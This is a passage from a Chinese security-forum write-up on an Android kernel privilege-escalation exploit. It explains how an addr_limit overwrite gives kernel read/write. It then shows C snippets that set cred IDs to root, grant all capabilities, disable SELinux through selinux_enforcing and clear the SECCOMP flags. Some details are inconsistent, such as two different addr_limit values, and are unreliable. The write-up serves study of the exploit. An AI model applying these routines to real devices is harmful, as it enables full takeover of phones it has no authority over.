second_write_chunk总共0x30字节,被读取了0x28个数据后仅剩的8个字节:0xfffffffffffffffe。至此终于露出真面目:一切只有一个目的,就是向current + 0x8,写入8字节,写入的内容就是second_write_chunk仅剩的8个字节:0xfffffffffffffffe。

current指针就是当前进程的task_struct,current + 0x8就是task_struct结构体里的addr_limit,这个字段是一个很重要的宏。

#define access_ok(type, addr, size) __range_ok(addr, size)
他被用来确认/校验一个用户态的指针是不是真正的指向一个用户态的地址。等价于(u65)addr + (u65)size <= current->addr_limit。我们传了0xffff8880959d68b0进给addr_limit后,让几乎所有的用户地址,都被误认为是内核地址,相当于绕过了内核中的用户态指针校验。而任意地址读写的本质,就是让内核无法正确识别哪个是内核指针,哪个是用户指针,从而具备了最关键的任意地址读写的能力。是不是非常的精密,非常的巧妙呢。

八、绕过/禁用安卓内核的4层安全防护机制:find_kernel_base & patch_creds

1. DAC
 
DAC:Discretionary Access control,所谓DAC即自主访问控制,它将资源访问者分成三类:Owner、Group、Other(其实这就是传统的UGO权限机制)。将访问权限也分成三类:read、write、execute,分用用户,用户组,即是否具备读/写权限。比如 ls -al 时会列出文件的详细信息,里面就有这些权限信息。是非常传统的防护模型。
 
2. MAC
 
MAC,强制性访问控制(Mandatory Access control)。DAC的简洁造就了它的高效,但是一旦获得了root权限,几乎就是无所不能。如今性能开销已经不是问题了,权限的细粒度管理更加重要,所以诞生了MAC。
MAC在DAC的基础上,把行为、规则、判定结果进一步细分。所以它的权限管理粒度更细。MAC访问控制的主体从用户变成了进程,也就是说即使你有root权限, 如果无法通过MAC验证也不行。安卓中MAC的实现方式是selinux,这个大家就很熟悉了。
 
3. CAP
即安卓的capability。这个机制把root权限进一步的碎片化,更细粒度的规划root权限。例如:能力CAP_SYS_MODULE表示用户能够加载(或卸载)内核模块的特权操作,而CAP_SETUID表示用户能够修改进程用户身份的特权操作。
CAP针对进程和可执行文件分别作出了规划,每个进程拥有三组能力集cap_effective、cap_inheritable、cap_permitted,分别表示进程所拥有的最大能力集,进程当前可用的能力集(可以看做是cap_permitted的一个子集)以及进程可以传递给其子进程的能力集。
可执行文件也拥有三组能力集cap_effective、cap_allowed和cap_forced,分别表示程序运行时可从原进程的cap_inheritable中集成的能力集,运行文件时必须拥有才能完成其服务的能力集以及文件开始运行时可以使用的能力。
4. SECCOMP
 
这是从安卓O,也就是安卓8.0后引入的,一个系统调用的过滤器,linux下的系统调用是int 80 +中断号 ,windows下是int 2e +中断号,系统调用是三环进0环重要的提权手段,限制不必要的系统调用可以显著减小内核攻击面。

绕过DAC和CAP

上述的安全机制看似杂乱无章,但其实都暗藏联系。他们都与一个重要的结构体cred有联系,该结构体位于task_struct结构体内,与权限控制有关的字段全在里面。

struct cred {    atomic_t    usage;#ifdef CONFIG_DEBUG_CREDENTIALS    atomic_t    subscribers;    /* number of processes subscribed */    void        *put_addr;    unsigned    magic;#define CRED_MAGIC    0x43736564#define CRED_MAGIC_DEAD    0x44656144#endif    kuid_t        uid;        /* real UID of the task */    kgid_t        gid;        /* real GID of the task */    kuid_t        suid;        /* saved UID of the task */    kgid_t        sgid;        /* saved GID of the task */    kuid_t        euid;        /* effective UID of the task */    kgid_t        egid;        /* effective GID of the task */    kuid_t        fsuid;        /* UID for VFS ops */    kgid_t        fsgid;        /* GID for VFS ops */    unsigned    securebits;    /* SUID-less security management */    kernel_cap_t    cap_inheritable; /* caps our children can inherit */    kernel_cap_t    cap_permitted;    /* caps we're permitted */    kernel_cap_t    cap_effective;    /* caps we can actually use */    kernel_cap_t    cap_bset;    /* capability bounding set */    kernel_cap_t    cap_ambient;    /* Ambient capability set */#ifdef CONFIG_KEYS    unsigned char    jit_keyring;    /* default keyring to attach requested                    * keys to */    struct key    *session_keyring; /* keyring inherited over fork */    struct key    *process_keyring; /* keyring private to this process */    struct key    *thread_keyring; /* keyring private to this thread */    struct key    *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY    void        *security;    /* subjective LSM security */#endif    struct user_struct *user;    /* real user ID subscription */    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */    struct group_info *group_info;    /* supplementary groups for euid/fsgid */    /* RCU deletion */    union {        int non_rcu;            /* Can we skip RCU deletion? */        struct rcu_head    rcu;        /* RCU deletion hook */    };} __randomize_layout;
如何绕过DAC呢?与之有关的成员是:
kuid_t        uid;        /* real UID of the task */kgid_t        gid;        /* real GID of the task */kuid_t        suid;        /* saved UID of the task */kgid_t        sgid;        /* saved GID of the task */kuid_t        euid;        /* effective UID of the task */kgid_t        egid;        /* effective GID of the task */kuid_t        fsuid;        /* UID for VFS ops */kgid_t        fsgid;        /* GID for VFS ops *
把他们全部改成root用户的。
kwrite_u32(cred_ptr + offsetof(struct cred, uid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, gid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, suid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, sgid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, euid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, egid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, fsuid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, fsgid), 0);
想绕过CAP,就把CAP相关的字段改成root用户相同的即可。
kernel_cap_t    cap_inheritable; /* caps our children can inherit */kernel_cap_t    cap_permitted;    /* caps we're permitted */kernel_cap_t    cap_effective;    /* caps we can actually use */kernel_cap_t    cap_bset;    /* capability bounding set */kernel_cap_t    cap_ambient;    /* Ambient capability set */
如何改写呢?全改成0。
kwrite_u64(cred_ptr + offsetof(struct cred, cap_inheritable), ~(u64)0);kwrite_u64(cred_ptr + offsetof(struct cred, cap_permitted), ~(u64)0);kwrite_u64(cred_ptr + offsetof(struct cred, cap_effective), ~(u64)0);kwrite_u64(cred_ptr + offsetof(struct cred, cap_bset), ~(u64)0);kwrite_u64(cred_ptr + offsetof(struct cred, cap_ambient), ~(u64)0);

绕过MAC

MAC与selinux相关,所以只需要想办法禁用selinux即可。而selinux就是一个内核的导出符号selinux_enforcing,找到他的地址,把它的值改成0就好了。
 
怎么找到呢?我们知道/proc/kallsyms里存储了所有的内核符号,但通常我们cat这个文件都看不到内核真正的地址,除非是root用户。修改源码把kallsyms.c里的seq_printf(m, "%pK %c %s\n", (void *)iter->value,iter->type, iter->name)的%pK换成%p根本不可能,或者把/proc/sys/kernel/kptr_restrict从1改成0也不太现实,暂时就不打内核符号表kallsyms的主意了。
 
我们用 https://github.com/nforest/droidimg 这个脚本来解析内核符号表,为此我们需要一个未经压缩的内核。
 
如果是自己下源码并编译安卓内核源码得到的内核不需要去解压,根目录就有vmlinux(但最终生成boot.img镜像时,用的是压缩后的内核Image.lz4-dtb而不是未压缩的vmlinux)。
 
但如果没自己编译,就需要通过下载现成的工厂镜像并解压缩后得到压缩的内核Image.lz4-dtb,然后通过lz4 -d Image.lz4-dtb Image解压出vmlinux内核,然后才能用脚本来解析内核符号表。
 
可能会出错:
Linux version 4.4.177-g83bee1dc48e8 (android-build@abfarm-us-west1-c-0087) (Android (5484270 based on r353983c) clang version 9.0.3 (https://android.googlesource.com/toolchain/clang 745b335211bb9eadfa6aa6301f84715cee4b37c5) (https://android.googlesource.com/toolchain/llvm 60cf23e54e46c807513f7a36d0a7b777920b5881) (based on LLVM 9.0.3svn)) #1 SMP PREEMPT ...[+]kallsyms_arch = arm64[!]could be offset table...[!]lookup_address_table error...[!]get kallsyms error...
此时就需要自己编译下项目根目录下的 fix_kaslr_arm64.c,然后运行就可以 我的环境是ubuntu16.04 x64内核中的ffffff8008080000 t _head符号表示内核的加载基址。
这个值肯定会因为KASLR的存在导致每次都不一样,但是幸运的是ffffff800a44e4a8 B selinux_enforcing距离他的偏移0x23ce4a8是固定的,我们只要得到这个偏移,再结合我们泄漏出来的内核基址就能得到该符号的地址。接下来把它改成0就绕过selinux啦。
#define SYMBOL__selinux_enforcing 0x23ce4a8
unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing);
printf("SELinux status = %u\n", enforcing);
if (enforcing) {printf("Setting SELinux to permissive\n");kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0);} else {printf("SELinux is already in permissive mode\n");}

绕过SECCOMP

和DAC、CAP和MAC一样,SECCOMP也是task_struct里的,它用seccomp结构体表示:
struct seccomp {int mode;struct seccomp_filter *filter;};
如果你想写一个APP,通过java层JNI的方法的话,你需要绕过这个校验,但如果是想直接在安卓shell里执行的话不需要绕过他,它本质上是一个系统掉调用过滤器,看上去更像是framework层的防护。
 
mode可以是0(禁用),SECCOMP_MODE_STRICT或者SECCOMP_MODE_FILTER。我们不能把这个像selinux那样简单的将mode设为0把它禁用,实测禁用后会导致内核崩溃。
为什么呢?因为SECCOMP开启后,task_struct->thread_info.flags字段里的TIF_SECCOMP标志位会被置1,如果此时强行把SECCOMP关闭,当调用__secure_computing时就会和TIF_SECCOMP标志位冲突导致内核崩溃。我们要做的就是先把thread_info的flags的TIF_SECCOMP标志位清空,然后:
#define OFFSET__task_struct__thread_info__flags 0 // if CONFIG_THREAD_INFO_IN_TASK is defined
// Grant: SECCOMP isn't enabled when running the poc from ADB, only from app contextsif (prctl(PR_GET_SECCOMP) != 0) {printf("Disabling SECCOMP\n");
// clear the TIF_SECCOMP flag and everything else :P (feel free to modify this to just clear the single flag)// arch/arm64/include/asm/thread_info.h:#define TIF_SECCOMP 11kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0);kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0);kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0); // this offset was eyeballed
if (prctl(PR_GET_SECCOMP) != 0) { printf("Failed to disable SECCOMP!\n"); exit(1);} else { printf("SECCOMP disabled!\n");}} else {printf("SECCOMP is already disabled!\n");}

九、其他步骤

launch_shell是启动shell的, launch_debug_console ,con_loop等都是调试相关的辅助操作,不再赘述。

十、参考资料

1. LowRebSwrd:https://bbs.pediy.com/thread-264932.htm
2. KASANhttps://groups.google.com/g/syzkaller-bugs/c/QyXdgUhAF50/m/g-FXVo1OAwAJ
3. https://www.52pojie.cn/thread-1083552-1-1.html
4. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/
5. https://bbs.pediy.com/thread-248444.htm
6. https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/android/binder.c?h=linux-4.14.y&id=7a3cee43e935b9d526ad07f20bf005ba7e74d05b
7. https://www.youtube.com/watch?v=U2qvK1hJ6zg&t=1618s

- End -

看雪ID:amzilun

https://bbs.pediy.com/user-home-803510.htm

  *本文由看雪论坛 amzilun 原创,转载请注明来自看雪社区。

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458382565&idx=2&sn=c1919b851d8e130847be51eb6b03f5b3&chksm=b180c06f86f749793631f28fbdc741b1ade27ae767b98a22f6bd6ee6a90179420a8a0c70f502#rd
如有侵权请联系:admin#unsafe.sh